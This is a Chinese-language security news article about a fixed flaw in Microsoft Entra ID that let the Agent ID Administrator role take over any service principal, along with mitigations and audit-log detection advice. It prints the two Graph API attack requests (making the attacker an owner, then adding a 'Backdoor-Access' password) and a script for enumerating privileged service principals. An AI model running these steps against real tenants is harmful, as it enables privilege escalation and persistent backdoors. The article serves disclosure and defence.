1. 簡介

人工智慧的快速演進使得專門的身分框架應運而生，以管理自主代理程式。微軟推出了 Microsoft Entra Agent Identity Platform ，為 AI 代理程式提供獨立的身分，進而實現精細的安全控制，例如條件式存取與生命週期管理 [1] 。為了便於管理這個新的控制平面，微軟建立了 Agent ID Administrator 角色。該角色原本設計的範圍是：管理與代理程式相關的物件，包括 blueprints 與代理程式身分。然而，近期技術研究發現了一個嚴重的範圍漏洞，攻擊者可以利用此角色接管 Entra ID 租戶內任意的服務主體 [1] 。

又見繼承缺陷！Entra ID 權限邊界失效，權限漏洞讓小角色也能越權接管服務主體 | 資訊安全新聞

2. Agent Identity Platform 技術架構

Agent Identity Platform 建立在現有的 Entra ID 原始元件之上，但引入了幾種新的物件類型。了解這些物件的階層關係，對於識別權限繼承如何導致安全漏洞至關重要。該平台包含 Blueprints（作為模板）、Blueprint Principals（租戶專屬的實例），以及 Agent Identities（AI 代理程式用於驗證的專用服務主體） [1] 。 Blueprints 作為代理身分的基礎定義，類似於應用程式物件定義服務主體的參數。當 blueprint 在特定租戶中被實例化時，會建立一個 Blueprint Principal。這個 principal 隨後管理各個 Agent Identities 的生命週期。這些身分被設計為支援現代驗證流程，包括用戶端認證與代理流程 (on-behalf-of flows ,OBO flows)，特別針對 AI 驅動的自動化進行調整。將這些物件整合到現有的 Microsoft Graph API（目前透過 beta 端點）可讓管理員使用熟悉的工具進行管理，但也使它們暴露在與整個目錄層級管理角色相同的風險之下 [1] 。

graph TD A[Entra ID Tenant] --> B[Agent Identity Platform] B --> C[Blueprints] B --> D[Blueprint Principals] B --> E[Agent Identities] E --> F[Service Principal Base] G[Standard Service Principals] --> F H[Agent ID Administrator] -- Managed Scope --> B H -- Scope Overreach --> G

如上圖架構所示，Agent Identities 本質上是更廣泛的 Service Principal 類別中的一個子集。漏洞的出現是因為針對代理身分所定義的管理動作，並未嚴格地與一般服務主體的管理平面隔離 [1] 。

3. 漏洞分析：範圍漏洞

此漏洞的核心在於擁有權管理權限的實作方式。Agent ID Administrator 角色被授予了像是 microsoft.directory/agentIdentities/owners/update 的權限。在一個妥善隔離的環境中，此權限應該僅適用於被標記為 agent identities 的服務主體。然而，由於一個典型的繼承缺陷，Entra ID 後端在允許更新擁有權之前，並未驗證目標服務主體是否確實是與代理程式相關的物件 [1] 。

權限類型 預期範圍 實際觀察到的範圍
擁有權更新 僅限 Agent Identities 所有應用程式 Service Principals
Credential 管理 僅限擁有的物件 任何被 hijack 的 Service Principal
Application 物件 Agent Blueprints 嚴格強制執行（無越權）

有趣的是，研究指出雖然服務主體存在漏洞，但對應的應用程式物件仍然受到保護。這意味著 /applications 資源的範圍邏輯正確實作，而 /servicePrincipals 資源則出現了邊界失效的問題 [1] 。

4. 攻擊流程與利用方式

擁有 Agent ID Administrator 角色的攻擊者可以執行兩個步驟的接管程序。首先，他們利用範圍漏洞將自己新增為高權限服務主體的擁有者。其次，利用他們身為新擁有者的身分，為該服務主體新增一組新的 credential（secret或憑證），使他們能夠以該服務主體的完整權限進行驗證並執行操作 [1] 。 

  1. # Step 1: Add the attacker as an owner of a target Service Principal
  2. # Target: A privileged Service Principal (e.g., Automation Account)
  3. # Action: Update the 'owners' property via Microsoft Graph API
  5. POST https://graph.microsoft.com/beta/servicePrincipals/{target-sp-id}/owners/$ref
  6. Content-Type: application/json
  8. {
  9.   "@odata.id": "https://graph.microsoft.com/beta/directoryObjects/{attacker-id}"
  10. }
  12. # Detailed Annotation:
  13. # This call succeeds because the Agent ID Administrator role
  14. # has the 'owners/update' permission which was incorrectly
  15. # allowed for non-agent service principals.

一旦取得擁有權，攻擊者就可以注入 credentials。這是 Entra ID 中任何物件擁有者的標準能力。透過新增一個 password credential，攻擊者獲得一個持續存在的後門，如果該服務主體未受到 workload identity 條件式存取原則的適當保護，這個後門可以繞過傳統 user-based 的多因素驗證 [1] 。 

  1. # Step 2: Add a new password credential to the hijacked Service Principal
  2. # This allows the attacker to authenticate as the Service Principal
  4. POST https://graph.microsoft.com/beta/servicePrincipals/{target-sp-id}/addPassword
  5. Content-Type: application/json
  7. {
  8.   "passwordCredential": {
  9.     "displayName": "Backdoor-Access"
  10.   }
  11. }
  13. # Detailed Annotation:
  14. # The 'addPassword' action is permitted for any owner.
  15. # The attacker now has the 'secretText' from the response
  16. # to perform a client_credentials grant flow.

5. 與身分偵察的比較分析

這個漏洞代表了 Identity-based attacks 領域中一個重大的升級。雖然過去的研究主要集中在濫用 Microsoft Graph API 進行偵察，例如列舉使用者與團隊以繪製組織內部結構 [2] ，但 Agent ID Administrator 漏洞提供了一條直接通往權限提升的路徑。在 reconnaissance-focused attacks 中，Threat actor 經常使用像 ROADtools 或客製化 Python script 來查詢目錄物件(Directory object) [2] 。 

  1. # Comparative Analysis: Standard Graph API Reconnaissance
  2. # This script demonstrates how attackers enumerate identities
  3. # which is the precursor to identifying high-value targets for takeover.
  5. import requests
  7. def enumerate_privileged_sp(token):
  8.     # Querying for Service Principals with high-impact names
  9.     url = "https://graph.microsoft.com/v1.0/servicePrincipals?$filter=startsWith(displayName,'Admin')"
  10.     headers = {"Authorization": f"Bearer {token}"}
  11.     response = requests.get(url, headers=headers)
  12.     return response.json()
  14. # Detailed Annotation:
  15. # Attackers use such scripts to find targets for the
  16. # Agent ID Administrator scope overreach vulnerability.

偵察技術與 Agent ID Administrator 漏洞之間的綜效是顯而易見的：攻擊者首先會探查環境以找出有權限的服務主體，然後利用範圍漏洞奪取控制權。這凸顯了嚴格維持身分邊界(Identity boundary)的必要性，因為即便是像 Agent ID Administrator 這樣的小角色，如果能夠劫持高權限的服務主體，也可能成為「影子」全域管理員 [1] [2] 。

6. 緩解與偵測措施

微軟已經透過對 Agent ID Administrator 角色強制執行嚴格的邊界檢查來解決這個漏洞。該角色現在僅限於管理那些明確與 Agent Identity Platform 關聯的服務主體。此修復涉及一個伺服器端的驗證層，在授權變更擁有權之前，會檢查目標物件的 'tags' 或 'servicePrincipalType'。 對組織而言，主要的防禦措施仍然是最小權限原則。應極其謹慎地指派角色，特別是文件中標記為「特殊權限」的角色，即使使用者介面可能暗示並非如此 [1] 。此外，組織應採用 Workload Identity Premium 功能，例如針對服務主體的條件式存取。透過限制服務主體可以進行驗證的位置或條件，管理員可以減輕成功接管帶來的影響。即使攻擊者新增了 credential，如果他們嘗試從未經授權的 IP 範圍或非受管裝置進行驗證，仍然會被原則阻擋 [1] 。

偵測策略應專注於監控稽核日誌中的特定事件。組織應對 Add owner to service principal 事件發出警報，特別是當執行者為 Agent ID Administrator 且目標不是 agent identity 時。此外，任何在擁有權變更之後發生的 Add service principal credential 事件，都應被視為高嚴重性的安全事件 [1] 。

7. 結論

Agent ID Administrator 範圍越權漏洞的發現，凸顯了管理現代身分系統的複雜性。隨著像 Entra ID 這樣的平台擴展以支援代理身分，不同物件類型之間「權限洩漏」的風險也隨之增加。此研究證明，所有權是一種強大的接管能力，而且管理角色必須經過縝密的範圍界定，以防止非預期的權限提升。正如更廣泛的安全研究 [2] 中所討論的，持續監控以身分為核心的攻擊面，仍然是防禦此類複雜漏洞最有效的方法。

參考資料

  1. Agent ID Administrator scope overreach: Service Principal takeover in Entra ID
  2. Threat actor 濫用 Microsoft Graph API 進行 Teams 偵察與資料外洩手法